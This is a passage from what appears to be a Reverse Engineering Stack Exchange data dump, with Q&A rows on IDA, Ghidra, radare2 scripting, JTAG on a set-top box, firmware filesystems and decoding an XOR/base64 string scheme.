  <row Id="21710" PostTypeId="2" ParentId="18170" CreationDate="2019-07-19T05:28:43.720" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;any tools that helps in checking the code, editing it and compiling it back to apk?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://buildapks.github.io/buildAPKs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://buildapks.github.io/buildAPKs/&lt;/a&gt; for information regarding the tools you are seeking.&lt;/p&gt;&#xA;" OwnerUserId="29071" LastActivityDate="2019-07-19T05:28:43.720" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21712" PostTypeId="1" CreationDate="2019-07-19T18:10:09.237" Score="-1" ViewCount="467" Body="&lt;p&gt;On a 16bit real mode x86 program I can locate a string that is displayed on screen. How do I go about finding all the places this string is called from to trace back the &quot;print&quot; function?&lt;/p&gt;&#xA;" OwnerUserId="27498" LastActivityDate="2019-12-16T20:02:00.253" Title="Find the call function of a string" Tags="|x86|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21713" PostTypeId="2" ParentId="21712" CreationDate="2019-07-19T19:24:14.980" Score="1" Body="&lt;p&gt;Try searching for &lt;code&gt;INT 10h&lt;/code&gt;, that's the x86 BIOS interrupt that allows you to output text to the screen, as well as change the video mode and cursor position among other things.&lt;/p&gt;&#xA;" OwnerUserId="266" LastActivityDate="2019-07-19T19:24:14.980" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21714" PostTypeId="2" ParentId="21707" CreationDate="2019-07-19T19:33:15.867" Score="0" Body="&lt;p&gt;IDA doesn't have a built-in linear sweep mode. You do have a couple of options though. In kernel options 2, you can uncheck coagulate code/data segments before doing the initial analysis, this will prevent IDA from converting unknown bytes into data. You could also try undefining everything, selecting everything, and then hitting C to convert it to code.&lt;/p&gt;&#xA;" OwnerUserId="266" LastActivityDate="2019-07-19T19:33:15.867" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21717" PostTypeId="1" CreationDate="2019-07-19T23:59:07.897" Score="1" ViewCount="223" Body="&lt;p&gt;The following call gets executed many times and jumps to many subroutines.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call    [rbp+var_s38]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What do I need to write in the breakline condition to export all the locations it jumps to?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idautils&#xA;f = open('C:\\Users\\vmware\\Desktop\\locations.txt', 'a+')&#xA;f.write(str(some_idautils_function))&#xA;f.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29079" LastEditorUserId="24714" LastEditDate="2019-08-31T10:29:55.637" LastActivityDate="2021-05-22T14:05:25.517" Title="IDAPython Export All Addresses Called by Specific Call" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21718" PostTypeId="2" ParentId="21717" CreationDate="2019-07-20T03:46:25.663" Score="1" Body="&lt;p&gt;I don't know idapython very well, but an idc solution would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;auto f = fopen(&quot;file.txt&quot;, &quot;a+&quot;);&#xA;fprintf(f, &quot;%016X\n&quot;, get_qword(rbp+&amp;lt;actual offset that is var_s38&amp;gt;));&#xA;fclose(f);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that sometimes idapython will use the same function names as idc, so maybe try searching the docs for &lt;code&gt;get_qword&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="266" LastActivityDate="2019-07-20T03:46:25.663" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21719" PostTypeId="2" ParentId="21697" CreationDate="2019-07-20T07:49:41.727" Score="5" Body="&lt;p&gt;This has something to do with the way Ghidra handles relocations. Loading the &lt;code&gt;SLUS_204.99&lt;/code&gt; binary with the following processor options and relocations disabled.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Processor: MIPS&#xA;Variant: 64-32addr&#xA;Size: 32&#xA;Endian: little&#xA;Compiler: default&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9IA0j.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9IA0j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The disassembly is the same as that of IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lAy7r.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lAy7r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;readelf&lt;/code&gt; shows that there are relocations of type &lt;code&gt;R_MIPS_26&lt;/code&gt; at the said address.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$  mipsel-linux-gnu-readelf --relocs SLUS_204.99 | grep &quot;Money_get&quot;&#xA;&#xA; Offset     Info    Type            Sym.Value  Sym. Name&#xA;&#xA;...&#xA;&#xA;0014b3b8  004add04 R_MIPS_26         001bcb90   Money_get&#xA;001bc290  004add04 R_MIPS_26         001bcb90   Money_get&#xA;011432c8  004add04 R_MIPS_26         001bcb90   Money_get&#xA;01144af0  004add04 R_MIPS_26         001bcb90   Money_get&#xA;01144b0c  004add04 R_MIPS_26         001bcb90   Money_get&#xA;01145090  004add04 R_MIPS_26         001bcb90   Money_get&#xA;01145204  004add04 R_MIPS_26         001bcb90   Money_get&#xA;0114527c  004add04 R_MIPS_26         001bcb90   Money_get&#xA;01145ae8  004add04 R_MIPS_26         001bcb90   Money_get&#xA;01145b24  004add04 R_MIPS_26         001bcb90   Money_get&#xA;01145b68  004add04 R_MIPS_26         001bcb90   Money_get&#xA;01145b9c  004add04 R_MIPS_26         001bcb90   Money_get&#xA;01140e3c  004add04 R_MIPS_26         001bcb90   Money_get&#xA;01140e5c  004add04 R_MIPS_26         001bcb90   Money_get&#xA;010063d4  004add04 R_MIPS_26         001bcb90   Money_get&#xA;01006bfc  004add04 R_MIPS_26         001bcb90   Money_get&#xA;010081e4  004add04 R_MIPS_26         001bcb90   Money_get&#xA;0102b93c  004add04 R_MIPS_26         001bcb90   Money_get&#xA;0102c454  004add04 R_MIPS_26         001bcb90   Money_get&#xA;0102d3e8  004add04 R_MIPS_26         001bcb90   Money_get&#xA;0102dc90  004add04 R_MIPS_26         001bcb90   Money_get&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the error is likely in the &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/blob/c7f934c9d1fcc55731d7d388e46407fd4775072b/Ghidra/Processors/MIPS/src/main/java/ghidra/app/util/bin/format/elf/relocation/MIPS_ElfRelocationHandler.java#L418&quot; rel=&quot;noreferrer&quot;&gt;code&lt;/a&gt; that handles relocation of type &lt;code&gt;R_MIPS_26&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2019-07-20T07:49:41.727" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21720" PostTypeId="2" ParentId="21704" CreationDate="2019-07-20T14:49:11.613" Score="0" Body="&lt;pre&gt;&lt;code&gt;function crypt(b) {&#xA;    var raw = atob(b)&#xA;    var key = [0xbe,0xb2,0x9d,0xe1,0xef,0x83,0x98,0xb0,0x8c,0x38,0x2e,0x0a,0x48,0xb0,0x04,0x22,0x32,0x15,0x31,0xf6,0x14,0xcd]&#xA;    var ret = []&#xA;    for (var i in raw) ret[i] = raw.charCodeAt(i) ^ key[i%key.length]&#xA;    return String.fromCharCode.apply(null, ret)&#xA;}&#xA;// example&#xA;console.log(crypt('//DeparF3/jFcmVGBf5LcmNHYqJBmw'))&#xA;console.log(crypt('//DeparF3/jFcmVGBf5LcmNHYqJBm2'))&#xA;console.log(crypt('j4Cu1dq1r4i1CB84e4QxFAUtCMYl/w'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/p9BPP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/p9BPP.png&quot; alt=&quot;result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29082" LastEditorUserId="29082" LastEditDate="2019-07-20T15:13:42.417" LastActivityDate="2019-07-20T15:13:42.417" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21721" PostTypeId="1" CreationDate="2019-07-20T15:44:27.287" Score="4" ViewCount="222" Body="&lt;p&gt;For the past few months, I have been using my spare time reverse engineering a set top box that will not be named. I am trying to run a media server or use it as a debian desktop. It is rocking a Broadcom BCM7410, which has little to no documentation as it was custom made for the company that builds the device. Right now I have found the serial header and have been communicating with it, it has CFE installed on it, but I can not abort the startup due to the integrated watchdog. Recently, via a datasheet for a similar chip in the same family,I was able to follow the traces on the bottom of the board, and find a very well hidden EJTAG solder points in a 14 pin formation (mentioned in the Linux MIPS wiki: &lt;a href=&quot;https://www.linux-mips.org/wiki/JTAG&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.linux-mips.org/wiki/JTAG&lt;/a&gt;). I found a &lt;a href=&quot;https://github.com/zoobab/zjtag&quot; rel=&quot;nofollow noreferrer&quot;&gt;piece of software&lt;/a&gt; that is compatible with a JTAG programmer I picked up designed to de-brick routers. It does seem to support the BCM7401, again which is in the same family, but the software will reject any chip that is not defined in the software, I was looking to add my device, but it requires something known as a &quot;mpi register base&quot;. I could only think of it as meaning the Message Passing Interface &lt;strong&gt;base register&lt;/strong&gt;, but I can't find any information on it. My question is, what does it mean and where/how can I find it? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to required information in code: &lt;a href=&quot;https://github.com/zoobab/zjtag/blob/master/zjtag.c#L285&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/zoobab/zjtag/blob/master/zjtag.c#L285&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to device list: &lt;a href=&quot;https://github.com/zoobab/zjtag/blob/master/zjtag.c#L304&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/zoobab/zjtag/blob/master/zjtag.c#L304&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29089" LastActivityDate="2024-03-26T02:04:50.537" Title="What is an &quot;mpi register base&quot;?" Tags="|serial-communication|mips|jtag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21722" PostTypeId="1" CreationDate="2019-07-20T16:13:19.617" Score="1" ViewCount="68" Body="&lt;p&gt;I'm looking at a firmware dump from a NAND flash chip and comparing it against another similar firmware dump I have. I am able to open one of them to see the root folder structure, however the other I cannot. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one I cannot has these &quot;random&quot; 40 bytes of 0xFF strung in, which I think isn't allowing me to extract the filesystem from. I believe the root folder structure should be similar, if not the same as the other firmware dump I CAN open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a case of non-standard compression? How should I go about opening up these file systems?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can upload the firmware, but they are 128MB each so kind of large files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a beyond compare between the two. The unknown on the left: &lt;a href=&quot;https://i.stack.imgur.com/6mnn5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/6mnn5.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29090" LastActivityDate="2019-08-21T17:01:55.220" Title="SqashFS 3.0 file system has 40 &quot;random&quot; bytes of 0xFF in it" Tags="|flash|firmware-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21723" PostTypeId="2" ParentId="21721" CreationDate="2019-07-20T16:41:39.370" Score="0" Body="&lt;p&gt;I would suggest just duplicating the BCM7401 definition, quite possibly it will just work. If not, try the other values in the table. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-07-20T16:41:39.370" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21724" PostTypeId="2" ParentId="21235" CreationDate="2019-07-20T19:46:33.320" Score="1" Body="&lt;p&gt;Yes, you can do that. The python script doing that is attached below with appropriate comments.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3&#xA;import r2pipe&#xA;&#xA;r = r2pipe.open('programName', flags=['-d'])&#xA;r.cmd('aei')&#xA;&#xA;modules = r.cmd('dmm') #list all modules along with start and end addresses&#xA;modules2 = [] #modules' start addresses&#xA;moduleNames = []&#xA;#since modules is just one big string, we need to extract relevant information from it&#xA;i = 0&#xA;j = 0&#xA;while i &amp;lt; len(modules):&#xA;    modules2.append('')&#xA;    while modules[i] != ' ':&#xA;        modules2[j] += modules[i]&#xA;        i += 1&#xA;    while modules[i] == ' ':&#xA;        i += 1&#xA;    while modules[i] != ' ':&#xA;        i += 1&#xA;    while modules[i] == ' ':&#xA;        i += 1&#xA;    moduleNames.append('')&#xA;    while modules[i] != '\n':&#xA;        moduleNames[j] += modules[i]&#xA;        i += 1&#xA;    i += 1&#xA;    j += 1&#xA;&#xA;moduleNames = [x.split('/')[len(x.split('/')) - 1] for x in moduleNames]&#xA;&#xA;systemModules = {} #put here all libraries you don't want breakpoints in&#xA;systemModules['ld-2.27.so'] = 1&#xA;&#xA;for i in range(len(moduleNames)):&#xA;    if moduleNames[i] not in systemModules:&#xA;        r.cmd('s ' + modules2[i]) #go to start of module i&#xA;        calls = r.cmd('/am call') #find all call instructions in this module; you can use other commands of type /a for more flexibility&#xA;        calls2 = [] #all addresses in module i where we want to put breakpoints&#xA;        k = 0&#xA;        j = 0&#xA;        while k &amp;lt; len(calls):&#xA;            calls2.append('')&#xA;            while calls[k] != ' ':&#xA;                calls2[j] += calls[k]&#xA;                k += 1&#xA;            while calls[k] != '\n':&#xA;                k += 1&#xA;            k += 1&#xA;            j += 1&#xA;        for k in range(len(calls2)):&#xA;            r.cmd('db ' + calls2[k]) #put breakpoint at given address&#xA;#all breakpoints set; you can now continue execution and do what you want to do at each breakpoint&#xA;print(r.cmd('db')) #list all breakpoints set&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not very elegant script, but gets the job done. It searches for all &lt;code&gt;call&lt;/code&gt; instructions in relevant modules and puts breakpoint at each one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more flexibility, instead of doing &lt;code&gt;/am&lt;/code&gt;, you can use other search commands available in radare2 (&lt;code&gt;/a?&lt;/code&gt; for more information).&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-07-20T19:46:33.320" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21725" PostTypeId="2" ParentId="11668" CreationDate="2019-07-20T21:25:05.250" Score="1" Body="&lt;p&gt;IDA Pro does not allow patching an image by default. When IDA Pro analyzes a binary, it is read into its on format; the original executable from that point forward doesn't need to be around. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can however &lt;em&gt;enable&lt;/em&gt; IDA Pro patching feature but you must be sure to have the original binary. With &lt;em&gt;patching&lt;/em&gt; enabled in IDA Pro config, you select the following from their drop down menu: &lt;code&gt;Edit &amp;gt; Patch Program &amp;gt; Apply Patch&lt;/code&gt; to ensure the change is committed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's is worth noting IDA Pro warns users to be cautious with this capability. Not sure it has ever been formally tested which could mean you will receive undefined behavior. If you have your doubts I suggest patching with some other utility (hex editor, debugger/disassembler).&lt;/p&gt;&#xA;" OwnerUserId="9826" LastActivityDate="2019-07-20T21:25:05.250" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21726" PostTypeId="1" CreationDate="2019-07-21T00:19:47.187" Score="2" ViewCount="126" Body="&lt;p&gt;I am working on a class project. I need to find out static features of a program (without executing it).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Backward branches (loops)&lt;/li&gt;&#xA;&lt;li&gt;Conditional branches (potential threads with load imbalance)&lt;/li&gt;&#xA;&lt;li&gt;Interrupts (indicates synchronization, or IO, ...)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;How can I find this. Any help would be highly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="29098" LastEditorDisplayName="user42316" LastEditDate="2022-11-29T07:15:18.737" LastActivityDate="2022-11-29T07:15:18.737" Title="Static analysis" Tags="|binary-analysis|c|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21727" PostTypeId="2" ParentId="21704" CreationDate="2019-07-21T08:27:48.933" Score="0" Body="&lt;p&gt;&#xA;OK, the encoding goes as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Byte xor the input string with [0xbe,0xb2,0x9d,0xe1,0xef,0x83,0x98,0xb0,0x8c,0x38,0x2e,0x0a,0x48,0xb0,0x04,0x22,0x32,0x15,0x31,0xf6,0x14,0xcd,0x51]&lt;/li&gt;&#xA;&lt;li&gt;Encode it to base64&lt;/li&gt;&#xA;&lt;li&gt;Take first 30 bytes of base 64 encoded string and write it down, which will be a result.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In fact the last byte of the key is not used as whole (only msb nibble used), you can insert anything from a range [0x50-0x5f] instead of 0x51.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you correctly stated, the output is truncated, so you can extract only the first 22 letters of the encoded string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following python code decodes the provided outputs and checks the algorithm:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import base64&#xA;# our inputs, input and output correspondingly&#xA;pairs = [&#xA;    (&quot;ABCDEFGHIJKLMNOPQRSTUV&quot;,&quot;//DeparF3/jFcmVGBf5LcmNHYqJBmw&quot;),&#xA;    (&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;,&quot;//DeparF3/jFcmVGBf5LcmNHYqJBmw&quot;),&#xA;    (&quot;ABCDEFGHIJKLMNOPQRSTUV1&quot;,&quot;//DeparF3/jFcmVGBf5LcmNHYqJBm2&quot;),&#xA;    (&quot;ABCDEFGHIJKLMNOPQRSTUV123456&quot;,&quot;//DeparF3/jFcmVGBf5LcmNHYqJBm2&quot;),&#xA;    (&quot;1234567890123456789012&quot;,&quot;j4Cu1dq1r4i1CB84e4QxFAUtCMYl/w&quot;),&#xA;    (&quot;12345678901234567890123&quot;,&quot;j4Cu1dq1r4i1CB84e4QxFAUtCMYl/2&quot;),&#xA;    (&quot;123456789012345678901234&quot;,&quot;j4Cu1dq1r4i1CB84e4QxFAUtCMYl/2&quot;),&#xA;    (&quot;1234567890123456789012a&quot;,&quot;j4Cu1dq1r4i1CB84e4QxFAUtCMYl/z&quot;),&#xA;    (&quot;1234567890123456789012ab&quot;,&quot;j4Cu1dq1r4i1CB84e4QxFAUtCMYl/z&quot;),&#xA;    (&quot;1234567890123456789012c&quot;,&quot;j4Cu1dq1r4i1CB84e4QxFAUtCMYl/z&quot;),&#xA;    (&quot;1234567890123456789012F&quot;,&quot;j4Cu1dq1r4i1CB84e4QxFAUtCMYl/x&quot;),&#xA;    (&quot;1234567890123456789012V&quot;,&quot;j4Cu1dq1r4i1CB84e4QxFAUtCMYl/w&quot;),&#xA;    (&quot;1A2B3C4D5E6F7G8H9I0J1K&quot;,&quot;j/Ovo9zArPS5fRhMf/c8agtcAbwlhg&quot;),&#xA;    (&quot;1A2B3C4D5E6F7G8H9I0J1K2&quot;,&quot;j/Ovo9zArPS5fRhMf/c8agtcAbwlhm&quot;),&#xA;    (&quot;1A2B3C4D5E6F7G8H9I0J1K3&quot;,&quot;j/Ovo9zArPS5fRhMf/c8agtcAbwlhm&quot;),&#xA;    (&quot;1A2B3C4D5E6F7G8H9I0J1KL&quot;,&quot;j/Ovo9zArPS5fRhMf/c8agtcAbwlhh&quot;),&#xA;    (&quot;1A2B3C4D5E6F7G8H9I0J1KM&quot;,&quot;j/Ovo9zArPS5fRhMf/c8agtcAbwlhh&quot;),&#xA;    (&quot;A1B2C3D4E5F6G7H8I9J0KL&quot;,&quot;/4Pf06yw3ITJDWg8D4dMGnsse8ZfgQ&quot;),&#xA;    (&quot;A1B2C3D4E5F6G7H8I9J0KLM&quot;,&quot;/4Pf06yw3ITJDWg8D4dMGnsse8ZfgR&quot;),&#xA;    (&quot;A1B2C3D4E5F6G7H8I9J0KL7&quot;,&quot;/4Pf06yw3ITJDWg8D4dMGnsse8ZfgW&quot;),&#xA;    (&quot;abcABC123/+321++1GWZVV&quot;,&quot;39D+oK3AqYK/FwU5eoEvCQNSZqxCmw&quot;),&#xA;    (&quot;abcABC123/+321++1GWZVV1&quot;,&quot;39D+oK3AqYK/FwU5eoEvCQNSZqxCm2&quot;),&#xA;    (&quot;lkjsd2093jljsdLJSDl12A&quot;,&quot;0tn3kouxqIm/UkJgO9RIaGFRXccmjA&quot;),&#xA;    (&quot;lkjsd2093jljsdLJSDl123&quot;,&quot;0tn3kouxqIm/UkJgO9RIaGFRXccm/g&quot;),&#xA;    (&quot;lkjsd2093jljsdLJSDl1234&quot;,&quot;0tn3kouxqIm/UkJgO9RIaGFRXccm/m&quot;),&#xA;    (&quot;aaaaaaaaaaaaaaaaaaaaaa&quot;,&quot;39P8gI7i+dHtWU9rKdFlQ1N0UJd1rA&quot;),&#xA;    (&quot;aaaaaaaaaaaaaaaaaaaaaaa&quot;,&quot;39P8gI7i+dHtWU9rKdFlQ1N0UJd1rD&quot;),&#xA;    (&quot;aaaaaaaaaaaaaaaaaaaaaa1&quot;,&quot;39P8gI7i+dHtWU9rKdFlQ1N0UJd1rG&quot;),&#xA;    (&quot;aaaaaaaaaaaaaaaaaaaaaaF&quot;,&quot;39P8gI7i+dHtWU9rKdFlQ1N0UJd1rB&quot;),&#xA;    (&quot;1111111111111111111111&quot;,&quot;j4Os0N6yqYG9CR87eYE1EwMkAMcl/A&quot;),&#xA;    (&quot;11111111111111111111111&quot;,&quot;j4Os0N6yqYG9CR87eYE1EwMkAMcl/G&quot;),&#xA;    (&quot;a&quot;,&quot;3w==&quot;),&#xA;    (&quot;c&quot;,&quot;3Q==&quot;),&#xA;    (&quot;ab&quot;,&quot;39A=&quot;),&#xA;    (&quot;abc&quot;,&quot;39D+&quot;),&#xA;    (&quot;abcd&quot;,&quot;39D+hQ==&quot;),&#xA;    (&quot;abcde&quot;,&quot;39D+hYo=&quot;),&#xA;    (&quot;abcdef&quot;,&quot;39D+hYrl&quot;),&#xA;    (&quot;abcdefg&quot;,&quot;39D+hYrl/w==&quot;),&#xA;    (&quot;abcdefgh&quot;,&quot;39D+hYrl/9g=&quot;),&#xA;    (&quot;123&quot;,&quot;j4Cu&quot;),&#xA;    (&quot;1234&quot;,&quot;j4Cu1Q==&quot;),&#xA;    (&quot;12345&quot;,&quot;j4Cu1do=&quot;),&#xA;    (&quot;123456&quot;,&quot;j4Cu1dq1&quot;),&#xA;]&#xA;# the xoring &quot;key&quot;&#xA;key = [0xbe,0xb2,0x9d,0xe1,0xef,0x83,0x98,0xb0,0x8c,0x38,0x2e,0x0a,0x48,0xb0,0x04,0x22,0x32,0x15,0x31,0xf6,0x14,0xcd,0x51]&#xA;&#xA;def do_xor(a, b):&#xA;    res = &quot;&quot;&#xA;    for i in range(len(a)):&#xA;        res += chr(ord(a[i]) ^ b[i % len(b)])&#xA;    return res&#xA;&#xA;for (inp, output) in pairs:&#xA;    #adding universal padding for a case of bad length&#xA;    try:&#xA;        decoded = base64.b64decode(output)&#xA;    except:&#xA;        decoded = base64.b64decode(output + &quot;===&quot;)&#xA;&#xA;    xored = do_xor(decoded, key)&#xA;    encoded = base64.b64encode(do_xor(inp, key))[:30]&#xA;    print &quot;Input    --&amp;gt; &quot;, inp&#xA;    print &quot;Output   --&amp;gt; &quot;, output&#xA;    print &quot;Encoded  --&amp;gt; &quot;, encoded&#xA;    print &quot;restored --&amp;gt; &quot;, xored&#xA;    if xored == inp:&#xA;        print &quot;result: exact match&quot;&#xA;    elif inp.find(xored) != -1:&#xA;        print &quot;result: truncated, but still good&quot;&#xA;    else:&#xA;        print &quot;result: FAILURE&quot;&#xA;    if encoded==output:&#xA;        print &quot;encode: result OK&quot;&#xA;    else:&#xA;        print &quot;encode: FAILURE&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2019-07-21T12:15:10.053" LastActivityDate="2019-07-21T12:15:10.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21728" PostTypeId="1" CreationDate="2019-07-21T10:47:35.473" Score="1" ViewCount="147" Body="&lt;p&gt;Recently I decompressed an LZMA file from a VxWorks filesystem which was recognized and decompressed by the LZMA SDK with parameters &lt;code&gt;lc = lp = 0, pb = 2&lt;/code&gt; and dictionary size 8MB. When I recompressed it (without modification, using the same tools and parameters) the first 332 bytes of the output were identical to that of the the original compressed data, but starting from the 333rd byte I didn't find any nontrivial match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could use any information regarding what the first 332 bytes could represent, why they are identical in both files while the rest are not, what parameters are most likely to be the culprit in this case or why my LZMA SDK would recreate a changed file when I used the same parameters for compression and decompression. What I want is to recreate the original LZMA exactly as it is, because I'm concerned that the firmware I got the original LZMA from might not recognize the recreated LZMA when I flash it back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some information that may help:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I was able to decompress the new output to get the same file decompressed from the original&lt;/li&gt;&#xA;&lt;li&gt;The recreated LZMA is one byte smaller than the original&lt;/li&gt;&#xA;&lt;li&gt;The decompressed file (call it &lt;code&gt;decomp&lt;/code&gt;) contains some wide characters and vim recognizes its file format as &lt;code&gt;dos&lt;/code&gt;. I compiled the LZMA tools for linux. &lt;code&gt;file decomp&lt;/code&gt; outputs: &lt;code&gt;decomp: C source, ISO-8859 text, with CRLF line terminators&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Let me know of any other relevant info that I should include.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="29099" LastActivityDate="2019-07-21T10:47:35.473" Title="Recreated LZMA differs from the original after 332 bytes" Tags="|decompress|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21730" PostTypeId="1" CreationDate="2019-07-21T16:03:55.330" Score="4" ViewCount="910" Body="&lt;p&gt;I have been trying a figure out how to get Bochs to run an x86 embeded firmware rom so I can disassemble while emulating. When I start the debug in ida bochs just says &quot;wrong segmentation&quot;. Loading in the bin strait into IDA causes a lot of sement and register assumpsions that are wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is the first string of code pages in 512k of ram at 0x00 the sets sp. Then all segments are set to 0. From there it starts pointong to ds:offsets and calls but ida is not automatically joining the two and i have the manually write down the code pointed to and how the function interacts. After a few calls everything is so garbled i might as well be doing things on pen and paper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any tutorials on using IDA for embeded dissasembly? Can Bochs even run non-pc hardware embeded firmwares?&lt;/p&gt;&#xA;" OwnerUserId="27498" LastActivityDate="2021-04-13T00:03:00.257" Title="Bochs x86 16bit and IDA dissasembly" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21731" PostTypeId="2" ParentId="20114" CreationDate="2019-07-21T16:54:13.813" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How do I make Radare2 update the prompt to reflect the current value of EIP?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Just use &lt;code&gt;e cmd.prompt = sr PC&lt;/code&gt; for it. See &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/21580/radare2-show-current-rip-and-current-instruction-while-stepping&quot;&gt;question&lt;/a&gt; and &lt;a href=&quot;https://github.com/radare/radare2/issues/12581&quot; rel=&quot;nofollow noreferrer&quot;&gt;issue&lt;/a&gt; for more details.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Furthermore, is it possible to make Radare2 automatically disassemble the next instruction after each ds, like it is possible with GDB?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not automatic solution, but you can do &lt;code&gt;pd1&lt;/code&gt; each time you want to see the next instruction to perform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you want it &lt;strong&gt;badly&lt;/strong&gt; to be automatic, you can modify the source code to perform &lt;code&gt;pd1&lt;/code&gt; automatically for you. To do so, you want to modify &lt;code&gt;libr/core/cmd_debug.c&lt;/code&gt;. Just find the place where &lt;code&gt;ds&lt;/code&gt; is handled and put relevant code there like so:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/dUyS0.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img 